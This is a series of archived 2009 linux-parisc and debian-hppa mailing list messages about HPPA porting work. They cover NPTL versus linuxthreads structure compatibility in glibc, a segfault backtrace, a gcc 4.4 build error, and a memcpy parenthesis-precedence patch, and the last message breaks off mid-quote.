	with ESMTP id RakpT-SUzfbj for <lists-debian-hppa@liszt.debian.org>;
	Mon, 22 Jun 2009 12:05:14 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.9
Original-Received: from mail-ew0-f218.google.com (mail-ew0-f218.google.com [209.85.219.218])
	by liszt.debian.org (Postfix) with ESMTP id 4D49D13A5488
	for <debian-hppa@lists.debian.org>; Mon, 22 Jun 2009 12:05:14 +0000 (UTC)
Original-Received: by ewy18 with SMTP id 18so3939809ewy.14
        for <debian-hppa@lists.debian.org>; Mon, 22 Jun 2009 05:05:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=06h9fKLINIK7sNt6YfjUsz5RkDWhLGzaH4FwtlQ087s=;
        b=APWR82pPSXTOf2dE0aQEMppNH7XwLWga0OaVN0o7F4hQuFm0yUVy8jkuwGAnxuK2ne
         rSwXvziZKEUIkXd8fx453VFYouk8YPqXkKDrbiFSFZmHsJCTWdPJHCCxNZeJa7sxcOGQ
         664O33LlSM3Jz2iEYR8LvbwHp7HwXgJ/slQhs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=q3ZarVjiR8TPQNZhpn0+bVzSOT91eZP1WYbH8KbdxugfoPYdxt0YJdKTqpekXYWrpC
         e1M7Pq8g94wxxov0CAACnbXNRJf72St1dgVuGB5HbRrYxwLpL6T1zegqioc+wFqpG1gq
         awfWk+sMccZH+WqNC5Z5zQchIRhiNELiXkDao=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.54.72 with SMTP id h50mr2155442wec.28.1245672311707; Mon, 
	22 Jun 2009 05:05:11 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.62.0906221117370.2390@sci.felk.cvut.cz>
X-Google-Sender-Auth: bc8e90705a3d810d
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <5NELBav06uC.A.YzG.FO3PKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6786
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 22 Jun 2009 12:05:25 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5788 gmane.linux.ports.parisc:1813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1813>

On Mon, Jun 22, 2009 at 6:51 AM, Petr Salinger<Petr.Salinger@seznam.cz> wro=
te:
>> However, the usability testing in a chroot + vnc is showing that some
>> applications are segfaulting. I've been looking into this today.
>
> I still think there should be support for mixed ABI calls.
> See also thread http://lists.debian.org/debian-hppa/2008/09/msg00018.html

It sounds like a good feature, but my time is restricted so I
implemented the simplest interface possible that I could prove worked.
If you have ample free time I suggest you post a version of the patch
with your enhancements. I'd be more than willing to test your patches.

> The question is why have been sizeof(pthread_cond_t)
> expanded from 48 bytes under linuxthreads into
> 64 bytes under NPTL. I do not see a reson for it.
> IMHO, it might significantly break compatibility.

This is technically a mistake, the new NPTL structure should be 48
bytes as well. I'll fix that in my sources.

However, it doesn't break compatibility in the current patches, only
in your scheme of mixed ABI support.

> The current NPTL implementation zeroes all the fields at the begining,
> doesn't it ?

Which implementation? The compat code? No, it uses the ldcw spinlock
to protect structure accesses.

> So at the begin of each affected function will be (asm coded ?)
>
> =A0if (v->__lt_compat)
> =A0{
> =A0 =A0 lock_global_pt_lock();
> =A0 =A0 if (v->__lt_compat)
> =A0 =A0 {
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0zero_all_but_lt_compat_field();
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0barrier();
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0v->__lt_compat =3D 0;
> =A0 =A0 };
> =A0 =A0 unlock_global_pt_lock();
> =A0};
>
> For the new NPTL layout the zeroing code will not be taken,
> therefore almost no overhead.
> There might be a congestion on global_pt_lock, but I do not believe,
> there are many static initilized mutexes in any real program.
> There will be no need for allocation any new structures.

There are tons of statically initialized mutexs, gnome and gdk are
full of them as an example.

> The drawback is hppa specific pthread.h or need to convince Uli
> to add unused zeroed field into affected structures globally.

That is no longer a drawback, most machines these days need to copy
core header files and modify.

Cheers,
Carlos.



From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Petr Salinger <Petr.Salinger@seznam.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA linux compat wrappers
Date: Mon, 22 Jun 2009 15:29:02 +0200 (CEST)
Lines: 97
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0906221506540.2390@sci.felk.cvut.cz>
References: <Pine.LNX.4.62.0906221117370.2390@sci.felk.cvut.cz>
 <119aab440906220505l26bda054r4280165627332473@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="546530387-537495902-1245677342=:2390"
X-Trace: ger.gmane.org 1245675751 844 80.91.229.12 (22 Jun 2009 13:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2009 13:02:31 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 15:02:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIjAI-0000oe-IE
	for glpp-linux-parisc@gmane.org; Mon, 22 Jun 2009 15:02:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751558AbZFVNCH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Jun 2009 09:02:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752132AbZFVNCH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Jun 2009 09:02:07 -0400
Original-Received: from relay.felk.cvut.cz ([147.32.80.7]:50639 "EHLO
	relay.felk.cvut.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751558AbZFVNCG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Jun 2009 09:02:06 -0400
Original-Received: from sci.felk.cvut.cz (sci.felk.cvut.cz [147.32.83.100])
	by relay.felk.cvut.cz (8.14.3/8.14.3) with ESMTP id n5MD1xoM096427;
	Mon, 22 Jun 2009 15:01:59 +0200 (CEST)
	(envelope-from Petr.Salinger@seznam.cz)
X-X-Sender: salinger@sci.felk.cvut.cz
In-Reply-To: <119aab440906220505l26bda054r4280165627332473@mail.gmail.com>
X-FELK-MailScanner-Information: 
X-MailScanner-ID: n5MD1xoM096427
X-FELK-MailScanner: Found to be clean
X-FELK-MailScanner-SpamCheck: not spam, SpamAssassin (not cached,
	score=-1.913, required 5, BAYES_00 -2.60, SPF_NEUTRAL 0.69)
X-FELK-MailScanner-From: petr.salinger@seznam.cz
X-FELK-MailScanner-To: debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org
X-FELK-MailScanner-Watermark: 1246280520.13953@YbnGGoxwAkWCSsz2m+ulZQ
X-Spam-Status: No
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1814 gmane.linux.debian.ports.hppa:5789
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1814>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--546530387-537495902-1245677342=:2390
Content-Type: TEXT/PLAIN; charset=iso-8859-2; format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE

>> I still think there should be support for mixed ABI calls.
>> See also thread http://lists.debian.org/debian-hppa/2008/09/msg00018.htm=
l
>
> It sounds like a good feature, but my time is restricted so I
> implemented the simplest interface possible that I could prove worked.
> If you have ample free time I suggest you post a version of the patch
> with your enhancements. I'd be more than willing to test your patches.

I have to admin I will not write the code, I only propose the idea.

1) put "__lt_compat" field in a place where originally is LT initializer.

--- sysdeps/unix/sysv/linux/hppa/nptl/bits/pthreadtypes.h
+++ sysdeps/unix/sysv/linux/hppa/nptl/bits/pthreadtypes.h.compat=20
@@ -70,6 +70,7 @@ pthread_mutex_t
      /* KIND must stay at this position in the structure to maintain
         binary compatibility.  */
      int __kind;
+    int __lt_compat;
      unsigned int __nusers;
      __extension__ union
      {
@@ -95,10 +96,11 @@ pthread_cond_t
    struct
    {
      int __lock;
-    unsigned int __futex;
+    int __lt_compat;
      __extension__ unsigned long long int __total_seq;
      __extension__ unsigned long long int __wakeup_seq;
      __extension__ unsigned long long int __woken_seq;
+    unsigned int __futex;
      void *__mutex;
      unsigned int __nwaiters;
      unsigned int __broadcast_seq;
@@ -130,6 +132,9 @@ pthread_rwlock_t
    struct
    {
      int __lock;
+    int __lt_compat;
+    int __hppa_pad1;
+    int __hppa_pad2;
      unsigned int __nr_readers;
      unsigned int __readers_wakeup;
      unsigned int __writer_wakeup;

2) create hppa specific pthread.h with just altered initializers (more zero=
es)

3) At the begin of each affected function

>> =A0if (v->__lt_compat)
>> =A0{
>> =A0 =A0 lock_global_pt_lock();
>> =A0 =A0 if (v->__lt_compat)
>> =A0 =A0 {
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0zero_the_same_fields_as_NPTL_but_lt_compa=
t_field();
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0barrier();
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0v->__lt_compat =3D 0;
>> =A0 =A0 };
>> =A0 =A0 unlock_global_pt_lock();
>> =A0};

This just atomically converts linuxthreads initialized variable into NPTL=
=20
initialized variable.

>> For the new NPTL layout the zeroing code will not be taken,
>> therefore almost no overhead.
>> There might be a congestion on global_pt_lock, but I do not believe,
>> there are many static initilized mutexes in any real program.
>> There will be no need for allocation any new structures.
>
> There are tons of statically initialized mutexs, gnome and gdk are
> full of them as an example.

Hopefully not many will try to lock global_pt_lock in the same time.
Also rebuild against NPTL enabled libc-dev lowers the number
of possible linuxthreads initialized variables.

Petr

--546530387-537495902-1245677342=:2390--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Mon, 22 Jun 2009 09:35:00 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20090622133501.C16224F19@hiauly1.hia.nrc.ca>
References: <4A3EE27E.8050402@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245677709 7711 80.91.229.12 (22 Jun 2009 13:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2009 13:35:09 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 15:35:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIjft-0006Br-48
	for glpp-linux-parisc@gmane.org; Mon, 22 Jun 2009 15:35:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751444AbZFVNfA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Jun 2009 09:35:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751994AbZFVNfA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Jun 2009 09:35:00 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2981 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751444AbZFVNe7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Jun 2009 09:34:59 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C16224F19; Mon, 22 Jun 2009 09:35:01 -0400 (EDT)
In-Reply-To: <4A3EE27E.8050402@tausq.org> from "Randolph Chung" at Jun 22, 2009 09:46:38 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1815>

> Can you tell me more about what is not working?

At this point, I'm fuzzy as to what happened.  I believe that I was
trying to trace the syscalls by sshd during login attempts to try to
gain information on the uid/gid authentication problem.

One little thing I noticed this morning (bad typing):
dave@hiauly6:~/opt/gnu/bin$ atrace --trace ls
Segmentation fault (core dumped)

Core was generated by `atrace --trace ls'.
Program terminated with signal 11, Segmentation fault.
#0  0x40520d90 in strncmp () from /lib/libc.so.6
(gdb) bt
#0  0x40520d90 in strncmp () from /lib/libc.so.6
#1  0x4055c848 in _getopt_internal_r () from /lib/libc.so.6
#2  0x4055d52c in _getopt_internal () from /lib/libc.so.6
#3  0x4055d644 in getopt_long () from /lib/libc.so.6
#4  0x00011ba8 in option_parse (argc=3, argv=0xfb66201c, opt=0x2dd80,
    proc=0xfb662208) at option.c:102
#5  0x00011780 in main (argc=<value optimized out>, argv=0xfb66201c)
    at atrace.c:58

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Tue, 23 Jun 2009 00:31:21 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20090623063121.GA10963@lackof.org>
References: <20090620232927.GA21560@lackof.org> <20090621000635.6824C4FC6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245738693 16185 80.91.229.12 (23 Jun 2009 06:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 06:31:33 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	James.Bottomley@HansenPartnership.com, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 08:31:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIzXS-0006Y2-Gv
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 08:31:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752411AbZFWGbU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 02:31:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752512AbZFWGbU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 02:31:20 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:33706 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752411AbZFWGbU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 02:31:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id D605E33E0051;
	Tue, 23 Jun 2009 00:31:22 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bqWGTKhkN3wp; Tue, 23 Jun 2009 00:31:21 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id A816033E006A; Tue, 23 Jun 2009 00:31:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090621000635.6824C4FC6@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1816>

On Sat, Jun 20, 2009 at 08:06:34PM -0400, John David Anglin wrote:
> > In the meantime...if someone can explain this error I could build and test:
> > fs/nfs/nfsroot.c:400: error: __setup_str_nfs_root_setup causes a section type conflict
> > 
> > something to do with __setup(nfs_root_setup) but it's not obvious to me what.
> 
> Google says see:
> http://lkml.org/lkml/2009/5/26/329

Thank you...removing the __initconst added by this change:
-static match_table_t __initconst tokens = {
+static const match_table_t tokens __initconst = {

allows me to build. Is no one else building with NFSROOT enabled?

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Tue, 23 Jun 2009 07:39:37 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440906230439k6a145ddfwd7f44f742260b93d@mail.gmail.com>
References: <20090620232927.GA21560@lackof.org>
	 <20090621000635.6824C4FC6@hiauly1.hia.nrc.ca>
	 <20090623063121.GA10963@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245757190 4343 80.91.229.12 (23 Jun 2009 11:39:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 11:39:50 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James.Bottomley@hansenpartnership.com, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 13:39:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJ4Ll-0005W7-P8
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 13:39:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751642AbZFWLjh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 07:39:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752598AbZFWLjh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 07:39:37 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:35397 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751642AbZFWLjg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 07:39:36 -0400
Original-Received: by ewy6 with SMTP id 6so5493896ewy.37
        for <linux-parisc@vger.kernel.org>; Tue, 23 Jun 2009 04:39:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=u0JcfumdK1+iA6RIZpprKS4X8UfDMa+Dh3U57s1SEVM=;
        b=xtpdb3zSSIrvTW4E3QhzWHM9OeRTt/HWNYmy9Dszdpo7m7R11qCsVoPNno47BVTJAy
         vUqjmXVkCjwZQOVoQ0ixR/m/t+AtsfdL8IEYmAp/ZinYFhlEjk26lxLBxhahEzRPiYSC
         1+cM6123bNHDR6LqTiJIqkevTxH9BzEn8bbWk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=vWVO1yDg2OAIp9C2I7orT5srV4dhCIP0ESh2IgUSeKXuo44SCvdI5G02+KmihXnBBu
         9j2kjXAJ4slRB/XpofO1x2BUfaLZx8uzpV1/qIvSngwYzHCQICvGYl9ipS9Z46Oh0GSy
         afzAM9OaNphoYsSEprv8q5n0XHxAyTSCYLVIc=
Original-Received: by 10.216.53.197 with SMTP id g47mr2591538wec.91.1245757177703; Tue, 
	23 Jun 2009 04:39:37 -0700 (PDT)
In-Reply-To: <20090623063121.GA10963@lackof.org>
X-Google-Sender-Auth: 396a353e66536dce
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1817>

On Tue, Jun 23, 2009 at 2:31 AM, Grant
Grundler<grundler@parisc-linux.org> wrote:
> On Sat, Jun 20, 2009 at 08:06:34PM -0400, John David Anglin wrote:
>> > In the meantime...if someone can explain this error I could build and test:
>> > fs/nfs/nfsroot.c:400: error: __setup_str_nfs_root_setup causes a section type conflict
>> >
>> > something to do with __setup(nfs_root_setup) but it's not obvious to me what.
>>
>> Google says see:
>> http://lkml.org/lkml/2009/5/26/329
>
> Thank you...removing the __initconst added by this change:
> -static match_table_t __initconst tokens = {
> +static const match_table_t tokens __initconst = {
>
> allows me to build. Is no one else building with NFSROOT enabled?

I boot directly from disk on both my test machines (a500, c3k).

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] misplaced parenthesis?
Date: Tue, 23 Jun 2009 22:53:26 +0800
Lines: 117
Approved: news@gmane.org
Message-ID: <1e3eba760906230753l4e14a025y6bc07a753999483e@mail.gmail.com>
References: <4A0DC131.8020606@gmail.com> <4A0E3D95.5090404@tausq.org>
	 <b4198de60905152248t63514a4fmfa71f3a72d80770e@mail.gmail.com>
	 <4A10BD1A.3060208@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1245769316 12734 80.91.229.12 (23 Jun 2009 15:01:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 15:01:56 +0000 (UTC)
To: Roel Kluin <roel.kluin@gmail.com>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 17:01:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJ7VL-0003Gi-16
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 17:01:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757364AbZFWPBk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 11:01:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757643AbZFWPBk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 11:01:40 -0400
Original-Received: from wf-out-1314.google.com ([209.85.200.169]:32166 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757364AbZFWPBj convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 11:01:39 -0400
Original-Received: by wf-out-1314.google.com with SMTP id 26so35477wfd.4
        for <linux-parisc@vger.kernel.org>; Tue, 23 Jun 2009 08:01:42 -0700 (PDT)
Original-Received: by 10.143.34.20 with SMTP id m20mr35986wfj.347.1245768806654; Tue, 
	23 Jun 2009 07:53:26 -0700 (PDT)
In-Reply-To: <4A10BD1A.3060208@tausq.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1818
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1818>

Here's an updated patch:

Reported-by: Roel Kluin <roel.kluin@gmail.com>
Signed-off-by: Randolph Chung <tausq@parisc-linux.org>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 2d68431..827e535 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -405,7 +405,7 @@ byte_copy:

 unaligned_copy:
        /* possibly we are aligned on a word, but not on a double... */
-       if (likely(t1 & (sizeof(unsigned int)-1)) =3D=3D 0) {
+       if (likely((t1 & (sizeof(unsigned int)-1)) =3D=3D 0)) {
                t2 =3D src & (sizeof(unsigned int) - 1);

                if (unlikely(t2 !=3D 0)) {


On Mon, May 18, 2009 at 9:42 AM, Randolph Chung<randolph@tausq.org> wro=
te:
> The wrong version of course produces different code....
>
> the original and the corrected one may produce different code dependi=
ng on
> how the compiler schedules things.
>
> randolph
>
> Matt Turner wrote:
>>
>> Does gcc produce different code for the three variations?
>>
>> Matt
>>
>> On Sat, May 16, 2009 at 12:14 AM, Randolph Chung <randolph@tausq.org=
>
>> wrote:
>>
>>>
>>> This is a bit confusingly written, but your patch does not appear t=
o be
>>> correct.
>>>
>>> =3D=3D has higher precedence than &, so you are basically changing =
it to:
>>> if (likely(t1 & 1))
>>>
>>> it really should be
>>>
>>> - =A0 =A0 =A0 if (likely(t1 & (sizeof(unsigned int)-1)) =3D=3D 0) {
>>> + =A0 =A0 =A0 if (likely((t1 & (sizeof(unsigned int)-1)) =3D=3D 0))=
 {
>>>
>>> randolph
>>>
>>>
>>> Roel Kluin wrote:
>>>
>>>>
>>>> Fix misplaced parenthesis.
>>>>
>>>> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
>>>> ---
>>>> I think this is what was intended? Note that this patch may affect
>>>> profiling.
>>>>
>>>> diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
>>>> index bbda909..30207b0 100644
>>>> --- a/arch/parisc/lib/memcpy.c
>>>> +++ b/arch/parisc/lib/memcpy.c
